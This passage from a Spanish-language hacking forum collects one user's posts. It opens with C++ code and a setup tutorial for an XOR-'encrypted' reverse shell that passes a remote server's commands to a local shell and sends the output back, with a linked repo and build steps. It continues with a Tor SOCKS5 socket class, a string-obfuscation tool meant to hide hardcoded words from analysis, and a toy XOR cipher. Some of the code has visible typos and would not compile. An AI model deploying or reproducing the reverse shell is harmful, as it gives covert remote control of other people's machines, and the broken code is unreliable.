std::thread th1(LeerStdout, OutPipe[0]);
int iBytes = 0;
char CmdBuffer[1025]; //para mega comandos larguisimos juaker
while(1){
   //recibimos los datos cifrados del servidor
   iBytes = recv(Socket, CmdBuffer, 1024, 0);
   if(iBytes > 0){
      CmdBuffer[iBytes] = '\0';
      std::string Descifrado = XOR(std::string(CmdBuffer), std::string("password"));
      //Ahora descifrado contiene el comando descifrado que envio el servidor
      //escribimos al extremo WRITE-END de InPipe el contenido descifrado
      write(InPipe[1], Descifrado.c_str(), Descifrado.length());
   }
}
th1.join();

El codigo de la funcion que lee el stdout/stderr del proceso hijo:
Código: cpp

void LeerStdout(int Pipe){
   chad CmdBuffer[256];   
   int iRet = 0, iRet2 = 0;
    while(1){
       //Primero leemos del extremo  OutPipe[0] pasado a esta funcion
       iRet = read(Pipe, &CmdBuffer, 255);
       std::string Cifrado = XOR(std::string(Cmdbuffer), std::string("password"));
       //ahora Cifrado contiene el resultado de lo leido del pipe cifrado con XOR
       //Enviamos los datos cifrados leidos de stdout/stderr al servidor
       iRet2 = send(Socket, Cifrado.c_str(), Cifrado.length());
    }
}


Esa seria la implementación de pipes junto con fork y execve para obetener una shell inversa "cifrada". Les dejo mi proyecto en github No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Ahora un mini tutorial usando mi codigo de github  ;D:
Clonar repo
Código: php
git clone https://github.com/d3adlym1nd/Ciphered-Reverse-Shell.git


Abrir el archivo Client.cpp y modificar el valor de la variable strPassword dentro de la clase Client con una clave deseada.
Luego modificar la funcion main con la ip y puerto hacia los cuales se conectara el cliente.
Código: cpp

Cli->Connect("IP", "PUERTO")

Abrir el archivo Server.cpp y modificar la funcion main cambiando el puerto de esucha y clave a usar en la comunicación
Código: cpp

Server *Srv = new Server(1337, "aiiiuuudaaaaa");

Y compilar con:
Código: php
g++ -Wall -Wextra Client.cpp -o Client -pthread

Código: php
g++ -Wall -Wextra Server.cpp -o Server -pthread

Eso es todo espero hayan aprendido algo nuevo y le den un buen uso.

Saludos.
#7
C / C++ / Sockets usando la red TOR C++
Mayo 29, 2020, 09:34:07 PM
Hola a todos.
Hoy comparto con ustedes el manejo de sockets mediante la red TOR. Suponiendo que ya se tiene tor instalado y corriendo en el puerto por defecto 9050 proseguimos.
Primero debemos entender sobre la negociacion o Handshake que se lleva a cabo al conectar con un proxy. En el Request For Comment RFC 1982 No tienes permitido ver los links. Registrarse o Entrar a mi cuenta, pueden obtener mas información con respecto al proceso de conexión, en este post solo cubriremos conceptos basicos.
El Handshake basico se podria representar de la siguiente manera



Y sigue este flujo:
Primero el cliente en este caso PC A, envia una secuencia de tres bytes (5, 1, 0) al servidor proxy. El primer byte especifica la version de socks a usar en este caso 5, el segundo byte es para propositos de autenticación, especifica los metodos soportados por el cliente para autenticarse 1, y el tercer byte es el tipo de autenticación, en este caso 0 (sin autenticación), si la conexión se quiere realizar mediante usuario/contraseña entonces este ultimo byte seria 2.

Se envia la secuencia de bytes y el servidor responde con dos bytes, en esta caso (5, 0), siendo el primer byte la version de socks a utilizar 5, y el segundo el metodo de autenticación 0 (sin autenticación). Si el servidor requiere de autenticación responderia con 5,2, pero ya que utilizaremos un proxy local sin este metodo deberia de responder siempre con 5,0.

A continuación se envia la secuencia de bytes (5, 1, 0, 3, Host, Puerto), siendo el primer byte 5 como se menciona anteriormente la version de socks, el segundo byte 1 es el codigo de comando, que puede ser uno de los siguientes valores:

1 = Establecer conexión TCP/IP.
2 = Establece un enlace de puerto TCP/IP.
3  = Asocia un puerto UDP.

En este caso usaremos el primero 1 (Establecer conexión TCP/IP) , el tercer byte 0 es un byte reservado y debe ser 0, el cuarto byte 3 es el tipo de direccion del host que puede ser una de las siguientes:

1 = Dirección IPv4, seguida por la IP de 4 bytes
3 = Nombre de dominio, 1 byte para la longitud del nombre seguido del nombre del host.
4 = Dirección IPv6, seguida de la IP de 16 bytes.

Usaremos el byte 3 (Nombre de dominio, 1 byte para la longitud del nombre seguido del nombre del host), y el ultimo byte vendria siendo el numero de puerto en orden de red de 2 bytes No tienes permitido ver los links. Registrarse o Entrar a mi cuenta.

Si todo va bien el servidor proxy responde con la secuencia 5, 0, 0, 1, Host, Puerto , siendo el segundo byte 0 el estado de la negociación, en esta caso el 0 indica que todo ha salido bien, el tercer byte es reservado y es 0, y los ultimos tres vendrian siendo el tipo de dirección, dirección y puerto en orden de red.

Habiendo entrado en lo basico del proceso de comunicación con el servidor veamos como aplicarlo en código

Una vez realizada la conexión inicial con el servidor:
Código: cpp

char buffer[3];
buffer[0] = 0x05;  //Version de socks
buffer[1] = 0x01; //Metodos de autenticacion soportados por el cliente
buffer[2] = 0x00; //Metodo de autenticacion a utilizar : Sin Autenticacion
send(Socket, buffer, 3, 0);

Enviamos la secuencia de tres bytes 0x05, 0x01, 0x00,  (0x05 - Version Socks    0x01 - Metodos soportados de autenticacion por el cliente    0x00 - No usar autenticacion).

Acto seguido recibimos la respuesta del servidor y verificamos si el estado del segundo byte es 0
Código: cpp

char rbuffer[10];
recv(Socket, rbuffer, 10, 0);
if(rbuffer[1] == 0x00){
   //primera parte de negociacion correctamente
}


Ahora se procede a crear la ultima secuencia de bytes con los datos del destino al cual conectarnos
Código: cpp

char fbuff[256];
memset(fbuff, 0, 256);
fbuff[0] = 0x05;  //version de socks
fbuff[1] = 0x01;  //Codigo de comando
fbuff[2] = 0x00;  //Byte reservado
fbuff[3] = 0x03; //Tipo de direccion del host

short host_port = htons(PORT);                  //convierte el numero de puerto a orden de bytes de red
char host_len = (char)strlen(HOSTNAME);        //Se obtiene la longitud del nombre host en un byte
memcpy(fbuff + 4, &host_len, 1);                //Luego se unen los datos junto con la secuencia anterior
memcpy(fbuff + 5, HOSTNAME, host_len);
memcpy(fbuff + 5 + host_len, &host_port, 2);

send(Socket, fbuff, 7 + host_len, 0);         //Se envia la secuencia de bytes


Y por ultimo recibimos la respuesta del servidor proxy, si el segundo byte es 0 significa que el proceso de negociación ha finalizado correctamente
Código: cpp

recv(Socket, rbuffer, 10, 0);
if(rbuffer[1] == 0x00){
    //proceso de negociacion completo
    //Ahora se procede a intercambiar datos con el host de destino
}


Y sin mas mi código de una simple peticion HTTP usando TOR:

Código: cpp

#include<iostream>
#include<cstring>
#include<cstdlib>
#include<sys/socket.h>
#include<arpa/inet.h>
#include<netinet/in.h>
#include<netdb.h>
#include<unistd.h>
#include<signal.h>

class TorSocket{
   private:
int SocketD;
   public:
int Connect(const char *cHostname, int iPort, const char *torhost = "127.0.0.1", const char *torport = "9050"){
struct sigaction act;
memset(&act, 0, sizeof(act));
act.sa_handler = SIG_IGN;
act.sa_flags = SA_RESTART;
sigaction(SIGPIPE, &act, 0);
struct addrinfo client, *addrs, *addr;
char rBuffer[10];
int iReceived = 0;
memset(&client, 0, sizeof(client));
client.ai_family = AF_UNSPEC;
client.ai_socktype = SOCK_STREAM;
client.ai_protocol = IPPROTO_TCP;
int iStatus = getaddrinfo(torhost, torport, &client, &addrs);
if(iStatus!=0){
std::cout<<"Error getaddrinfo\n";
return -1;
}
for(addr = addrs; addr != nullptr; addr = addr->ai_next){
if((this->SocketD = socket(addr->ai_family, addr->ai_socktype, addr->ai_protocol)) == -1){
continue;
}
if(connect(this->SocketD, addr->ai_addr, addr->ai_addrlen) == -1){
continue;
}
break;
}
freeaddrinfo(addrs);
if(this->SocketD == -1){
std::cout<<"No se pudo conectar al proxy\n";
return -1;
}
char cByteSequense1[3] = {0x05, 0x01, 0x00};
send(this->SocketD, cByteSequense1, 3, 0);
iReceived = recv(this->SocketD, rBuffer, 10, 0);
if(iReceived > 0){
if(rBuffer[0] != 0x05){   
std::cout<<"Version de socks invalida\n";
return -1;
}
if(rBuffer[1] == 0x00){
char cByteSequense2[256];
memset(cByteSequense2, 0, 256);
cByteSequense2[0] = 0x05;
cByteSequense2[1] = 0x01;
cByteSequense2[2] = 0x00;
cByteSequense2[3] = 0x03;
short sHost_Port = htons(iPort);
char cHost_Len = (char)strlen(cHostname);
memcpy(cByteSequense2 + 4, &cHost_Len, 1);
memcpy(cByteSequense2 + 5, cHostname, cHost_Len);
memcpy(cByteSequense2 + 5 + cHost_Len, &sHost_Port, 2);
send(this->SocketD, cByteSequense2, 7 + cHost_Len, 0);
memset(rBuffer, 0, sizeof(rBuffer));
iReceived = recv(this->SocketD, rBuffer, 10, 0);
if(rBuffer[1] == 0x00){
std::cout<<"Conexion satisfatoria\n";
//Ahora se puede enviar datos atraves de este socket
return this->SocketD;
} else {
return -1;
}
}
} else {
return -1;
}
return -1;
}

void CloseSocket(){
close(this->SocketD);
}

int SendData(const char *data, int size){
return send(this->SocketD, data, size, 0);
}

int ReadData(char*& buffer){
buffer = (char *)malloc(2048);
unsigned int so_far = 0;
char u_c[2];
while(recv(this->SocketD, u_c, 1, 0) > 0){
if(so_far >= 2048){
buffer = (char *)realloc(buffer, so_far + 1);
}
buffer[so_far++] = u_c[0];
}
buffer[so_far] = '\0';
return so_far;
}
};

//Simple ejemplo de peticion HTTP a url specificada
int main(int argc, char **argv){
if(argc < 2){
std::cout<<argv[0]<<" url\n";
return 0;
}
TorSocket tor;
char domain[128];
char *response;
strncpy(domain, argv[1], 128);
int stat = tor.Connect(domain, 80);
if(stat == -1){
std::cout<<"No se pudo conectar\n";
return -1;
}
std::cout<<"Conectado\n";
char packet[512];
snprintf(packet, 512, "GET / HTTP/1.1\r\nHost: %s\r\n\r\n", domain);
if(tor.SendData(packet, strlen(packet)) > 0){
unsigned int bytes = tor.ReadData(response);
if(bytes>0){
std::cout<<response<<"\n\n";
} else {
std::cout<<"No se recibio nada\n";
}
free(response);
} else {
std::cout<<"Error al enviar el paquete\n";
}
tor.CloseSocket();
return 0;
}



Una captura de pantalla
         

Espero les haya servido y le den un buen uso, cualquier correcion o duda dejenme saberla.

Saludos
#8
Les comparto un simple codigo para ofuscar variables, y asi no escribir directamente ciertas palabras que deseemos harcodear en el programa para que no sean visibles por programas como strings o similares, no es para informacion sensible, es por pura diversion y ocultacion de palabras, espere los guste.

Código: c

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<time.h>

void HC(const char *input, int len){
     srand(time(NULL));
     char tmpbuff1[10];
     char tmpbuff[10240];
     memset(tmpbuff, '\0', 10240);
     memset(tmpbuff1, '\0', 10);
    //Para generar nombre de variable aleatorio
     char keys[] = {'_', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z','a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3' ,'4', '5', '6', '7', '8', '9'};
     int i = 0, a = 0, b = 0, c = 1;
     for (; i < 7; i ++){
        tmpbuff1[i] = keys[rand() % 63];
     }
     snprintf(tmpbuff, 50, "unsigned char %s[%i] = { ", tmpbuff1, len);
     for(a = 0, b = 0; a<len; a++){
         b = input[a];
         b ^= 0xEC;
         b ^= a;
         char tmp[50];
         if(a == (len - 1)) {
             snprintf(tmp, 15, "0x%x };", b);
             strncat(tmpbuff, tmp, strlen(tmp));
             break;
         }
         if (c++ == 12){
             snprintf(tmp, 15, "0x%x,\n   ", b);
             strcat(tmpbuff, tmp);
             c = 1;
         }else{
             snprintf(tmp, 15, "0x%x, ", b);
             strcat(tmpbuff, tmp);
         }
     }
     printf("Aqui esta tu codigo\n\n%s\n\n", tmpbuff);
}


/*Funcion para "decifrar" variable y usarla
unsigned char var_name[6] = { 0x9e, 0x8c, 0x80, 0x8b, 0x87, 0x84 };   <<   random
char *new_var = malloc(sizeof(char) * 7);
HCD(var_name, 6, &new_var);
ahora new_var = "random"
*/
void HCD(const char *input, int len, char **outp)
{
    int a = 0, b = 0;
     char outvar[len];
     memset(outvar, '\0', len);
     for(a = 0, b = 0; a<len; a++){
         b = input[a];
         b ^= 0xEC;
         b ^= a;
         strcat(outvar, (char*)&b);
     }
     strncpy(*outp, outvar, len);
}

int main(int argc, char **argv)
{
  HC(argv[1], strlen(argv[1]));
  return 0;
}

#9
C / C++ / Simple Cipher
Mayo 18, 2020, 11:45:13 PM
Hola les comparto un cipher sencillo que hice, basado en rot13 y xor a diferencia que rota 128 caracteres y este numero aumenta dependiendo de la longitud de la informacion a modificar, antes pasa por base64 para poder trabajar con caracteres imprimibles, logrando (aun no probado) trabajar con datos binarios, tiene varios errores y posiblemente mal manejo de memoria por lo cual agradezco sus aportes/correcciones/sugerencias.

Código: c++

#include<iostream>
#include<string>
#include<cstring>
class b64{
   public:
size_t b64_encoded_size(size_t inlen){
size_t ret = inlen;
if(inlen % 3 != 0){
ret += 3 - (inlen % 3);
}
ret /= 3;
ret *= 4;
return ret;
}
size_t b64_decoded_size(const char *in){
size_t len, ret, i;
if(in == nullptr){
return 0;
}
len = std::string(in).length();
ret = len / 4 * 3;
for(i = len; i-->0;){
if(in[i] == '='){
ret--;
} else {
break;
}
}
return ret;
}
int b64_valid_char(char c){
        if (c >= '0' && c <= '9'){
                return 1;
}
        if (c >= 'A' && c <= 'Z'){
                return 1;
}
        if (c >= 'a' && c <= 'z'){
                return 1;
}
        if (c == '+' || c == '/' || c == '='){
                return 1;
}
        return 0;
}
char *b64_encode(const unsigned char *in, size_t len){
const char b64chars[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
char *out;
size_t elen, i, j, v;
if(in == nullptr || len == 0){
return nullptr;
}
elen = b64_encoded_size(len);
out = new char[elen+1];
out[elen] = '\0';
for(i = 0, j = 0; i < len; i += 3, j += 4){
v = in[i];
v = i + 1 < len ? v << 8 | in[i+1] : v << 8;
v = i + 2 < len ? v << 8 | in[i+2] : v << 8;
out[j]     = b64chars[(v >> 18) & 0x3F];
out[j + 1] = b64chars[(v >> 12) & 0x3F];
if(i + 1 < len){
out[j + 2] = b64chars[(v >> 6) & 0x3F];
}else{
out[j + 2] = '=';
}
if(i + 2 < len){
out[j + 3] = b64chars[v & 0x3F];
}else{
out[j + 3] = '=';
}
}
return out;
}

int b64_decode(const char *in, unsigned char *out, size_t outlen){
int b64_t[] = { 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58,
        59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5,
        6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20,
        21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28,
        29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42,
        43, 44, 45, 46, 47, 48, 49, 50, 51 };
size_t len, i, j;
int v;
if(in == nullptr || out == nullptr){
return 0;
}
len = std::string(in).length();
if(outlen < b64_decoded_size(in) || len % 4 != 0){
return 0;
}
for(i = 0; i < len; i++){
if(!b64_valid_char(in[i])){
return 0;
}
}
for(i = 0, j = 0; i < len; i += 4, j += 3){
v = b64_t[in[i] - 43];
v = (v << 6) | b64_t[in[i + 1] - 43];
v = in[i + 2] == '=' ? v << 6 : (v << 6) | b64_t[in[i + 2] - 43];
v = in[i + 3] == '=' ? v << 6 : (v << 6) | b64_t[in[i + 3] - 43];

out[j] = (v >> 16) & 0xFF;
if(in[i + 2] != '='){
out[j + 1] = (v >> 8 ) & 0xFF;
}
if(in[i + 3] != '='){
out[j + 2] = v & 0xFF;
}
}
return 1;
}
};

class LCipher: public b64{
   private:
int calc(char c, int complex = 0){
int tmp = c, count = 0;
while(1){
if(count++ == (128+complex)){break;}
if(tmp++ == 126){ tmp = 32;}
}
return tmp;

}
int r_calc(char c, int complex = 0){
int tmp = c, count = 128+complex;
while(1){
if(count-- == 0){break;}
if(tmp-- == 32){tmp = 126;}
}
return tmp;
}
std::string LOL(const std::string& message){
std::string final = "";
int tcplx = 0;
for(char c : message){
char tmp = calc(c, ++tcplx);
for(char x : this->password){
tmp ^= x;
}
final += tmp;
}
return final;
}
std::string OLO(const std::string& message){
std::string final = "";
int tcplx = 0;
for(char c : message){
for(char x : this->password){
c ^= x;
}
final += r_calc(c,++tcplx);
}
return final;
}
char *b64_e(const unsigned char* message){
int len = std::string((char *)message).length();
char *out = b64_encode(message, len);
        return out;
}
char *b64_d(const char* message){
size_t outlen = b64_decoded_size(message);
unsigned char *output = new unsigned char[outlen];
b64_decode(message, output, outlen);
return (char *)output;
}
std::string password;
   public:
LCipher(): password("default"){}
        LCipher(std::string p): password(p){}

int Cipher(char*& data, char **output){
char *tmp = b64_e((const unsigned char *)data);
std::string result = LOL(std::string(tmp));
delete tmp;
size_t rlen = result.length();
*output = new char[rlen + 2];
if(*output == nullptr){
return 1;
}
memcpy(*output, result.c_str(), rlen);
*output[rlen-1] = '\0';
return 0;
}
char *UnCipher(const char* data){
std::string tmp = OLO(std::string((char *)data));
char *out = b64_d(tmp.data());
return out;
}
};

int main(int argc, char **argv){
LCipher test(argv[2]);
char *out = nullptr;
test.Cipher(argv[1], &out);
char *out2 = test.UnCipher((const char *)out);
std::cout<<"Original : "<<argv[1]<<'\n';
std::cout<<"Cipher   : "<<out<<'\n';
std::cout<<"UnCipher : "<<out2<<'\n';
delete out;
delete out2;
return 0;
}